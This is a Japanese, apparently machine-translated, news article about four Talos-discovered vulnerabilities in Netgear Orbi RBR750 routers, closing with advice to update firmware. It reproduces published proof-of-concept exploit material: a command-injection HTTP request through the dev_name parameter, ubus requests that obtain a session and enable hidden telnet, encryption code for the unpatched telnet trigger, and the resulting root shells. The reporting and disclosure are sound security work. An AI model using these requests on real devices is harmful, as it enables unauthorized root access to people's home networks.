Netgear Orbi ルーターにパッチが適用されていない場合は、pronto を変更することをお勧めします – Ars Technica

拡大する / Orbi 750 シリーズ ルーター。

ネットギア

Netgear の Orbi メッシュ ワイヤレス システムを使用してインターネットに接続している場合は、古いバージョンの重大な脆弱性に対するエクスプロイト コードがリリースされているため、最新のファームウェアが実行されていることを確認する必要があります。

Netgear Orbi メッシュ ワイヤレス システムは、メイン ハブ ルーターと、ネットワークの範囲を拡張する 1 つまたは複数のサテライト ルーターで構成されます。 家庭やオフィスに複数のアクセス ポイントを設定することで、メッシュ システムを形成し、Wi-Fi カバレッジを全体で利用できるようにします。

任意のコマンドをリモートで注入する

昨年、Cisco の Talos セキュリティ チームの研究者が 4 つの脆弱性を発見し、非公開で Netgear に報告しました。 最も重大な脆弱性で、次のように追跡されます。 CVE-2022-37337、RBR750 のアクセス制御機能に存在します。 ハッカーはこれを悪用して、特別に細工した HTTP リクエストをデバイスに送信することで、コマンドをリモートで実行できます。 ハッカーはまず、SSID パスワードを知るか、保護されていない SSID にアクセスして、デバイスに接続する必要があります。 欠陥の重大度は、10 段階中 9.1 と評価されています。

1 月に、Netgear は脆弱性にパッチを当てたファームウェア アップデートをリリースしました。 さて、タロス 公開された 概念実証のエクスプロイト コードと技術的な詳細。

「Orbi RBR750 のアクセス制御機能により、ユーザーは明示的にデバイス (MAC アドレスとホスト名で指定) を追加して、ネットワークへのアクセスを試みるときに、指定したデバイスを許可またはブロックできます」と Talos の研究者は書いています。 「ただし、dev_name パラメーターはコマンド インジェクションに対して脆弱です。」

公開されたエクスプロイト コードは次のとおりです。

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

デバイスは次のように応答します。

   root@RBR750:/tmp# ps | grep ping
   21763 root  	1336 S	ping 10.0.0.4

Talos が発見した他の 2 つの脆弱性も、1 月にパッチを受け取りました。 CVE-2022-36429 また、特別に細工された JSON オブジェクトを作成する一連の悪意のあるパケットを送信することで悪用できる、リモート コマンド実行の欠陥でもあります。 その深刻度の評価は 7.2 です。

エクスプロイトは、文書化されていない telnet セッションを開始するために必要な認証 Cookie を返すために、ユーザー名「admin」でパスワードの SHA256 合計を使用することから始まります。

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: 
Referer: /
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}

非表示の telnet サービスを開始するために必要な「ubus_rpc_session」トークンが表示されます。

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45

{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}

次に、敵対者は「telnet_enable」というパラメータを追加して、telnet サービスを開始します。

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: 
Referer: /status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}

ユーザー名「admin」で SHA256 ハッシュを生成するために使用される同じパスワードにより、攻撃者はサービスにログインできます。

$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.

login: admin
Password: === IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.30.1 () built-in shell (ash)

 	MM       	NM                	MMMMMMM      	M   	M
   $MMMMM    	MMMMM            	MMMMMMMMMMM  	MMM 	MMM
  MMMMMMMM 	MM MMMMM.          	MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM   	MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM	MM   	MMMMM	MMMM	MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM      	MMMMM 	MMMM	MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM   	MMMMM  	MMMM	MMMM   MMMMMMMMM
MMMM=   MMMM 	MMMMM,	NMMMMMMMM   MMMM	MMMM   MMMMMMMMMMM
MMMM=   MMMM  	MMMMMM   MMMMMMMM	MMMM	MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM	MMMM	MMMM  	MMMM	MMMM   MMMM	MMMM
MMMM$ ,MMMMM  MMMMM  MMMM	MMM   	MMMM   MMMMM   MMMM	MMMM
  MMMMMMM:  	MMMMMMM 	M     	MMMMMMMMMMMM  MMMMMMM MMMMMMM
	MMMMMM   	MMMMN 	M       	MMMMMMMMM  	MMMM	MMMM
 	MMMM      	M                	MMMMMMM    	M   	M
   	M
 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
 ---------------------------------------------------------------
root@RBS750:/#

パッチが適用された他の脆弱性は次のとおりです。 CVE-2022-38458、深刻度は 6.5 です。 これは、暗号化されていない HTTP 接続を介してユーザーにパスワードの入力を求めるデバイスから発生します。 その後、同じネットワーク上の敵対者がパスワードを盗聴できます。

死ぬことを拒否した脆弱性

Talos が発見した 4 番目の脆弱性は、次のように追跡されています。 CVE-2022-38452、まだパッチが適用されていません。 いずれにせよ、Talos は、ベンダーに非公開で報告されてから 90 日以内に脆弱性情報を開示するというポリシーに沿って、それに関する詳細を公開しました。 この欠陥は、隠された telnet 機能に起因し、敵対者がリモートでコマンドを実行できるようにします。

Netgear の開発者は以前、telnet サービスをオンまたはオフにするために使用できる隠しデバッグ ページのトグル スイッチを削除する更新を導入しました。 残念ながら、修正は不完全でした。

「GUI のスイッチは機能しなくなった/削除されましたが、特別に細工されたトリガー パケットを UDP ポート 23 ( Talos 説明した. 最近の更新により、このツール (および同様の多くのツール) が壊れているように見えますが、サービスはまだ存在し、トリガー可能です。」

def crypt_64bit_up(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0, 0x10):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[-2]
	y = y ^ pArray[-1]
	return (x, y)

def crypt_64bit_down(self, x, y):
	sbox = self.flattened_sBox
	pArray = self.flattened_pArray
	for i in range(0x11, 1, -1):
    	z = pArray[i] ^ x
    	x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
    	x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
    	x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
    	x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
    	x = y ^ x
    	y = z
	x = x ^ pArray[1]
	y = y ^ pArray[0]
	return (x, y)

脆弱なデバイスのユーザー名、パスワード、および MAC アドレスを持っている敵対者 br-lan インターフェイスは telnet を開始できます:

$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44  45 38 37 38 00 00 00 00  C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00  00 00 00 00 00 00 00 00  admin...........
00000020: 50 61 73 73 77 30 72 64  00 00 00 00 00 00 00 00  Passw0rd........
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE  8F 14 65 9F B9 03 3C 8D  ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43  84 4B BB F5 B1 B0 C5 32  .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F  7C 82 89 28 32 95 7C 64  c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D  7C 82 89 28 32 95 7C 64  S  b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64  7C 82 89 28 32 95 7C 64  |..(2.|d|..(2.|d

$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
 === LOGIN ===============================
  Please enter your account and password,
  It's the same with DUT GUI
 ------------------------------------------
telnet account: admin
telnet password:

BusyBox v1.30.1 () built-in shell (ash)

  .oooooo.         	.o8    	o8o       	.o.   	ooooooo  ooooo
 d8P'  `Y8b       	"888    	`"'      	.888.   	`8888	d8'
888  	888 oooo d8b  888oooo.  oooo     	.8"888.    	Y888..8P
888  	888 `888""8P  d88' `88b `888    	.8' `888.    	`8888'
888  	888  888  	888   888  888   	.88ooo8888.  	.8PY888.
`88b	d88'  888  	888   888  888  	.8' 	`888.	d8'  `888b
 `Y8bood8P'  d888b 	`Y8bod8P' o888o	o88o 	o8888o o888o  o88888o

 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, 10.0.3440.3644)
 ---------------------------------------------------------------
root@RBR750:/#

前述のように、4 つの脆弱性のうち 3 つが 1 月にパッチされました。 Orbi ルーター モデル RBR750 ユーザーマニュアル ユーザーは、orbilogin.com にアクセスし、管理者の資格情報を入力して、[高度]>[管理]>[ファームウェアの更新]>[オンライン更新]を選択することで、利用可能な更新を確認してインストールできると言っています。

CVE-2022-38452 にはまだパッチが適用されていませんが、他の 3 つの欠陥は修正されています。 これらのデバイスのユーザーは、それらが実行されていることを確認する必要があります ファームウェアバージョン 4.6.14.3、現時点での最新リリースです。

Related News

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Recent News

Editor's Pick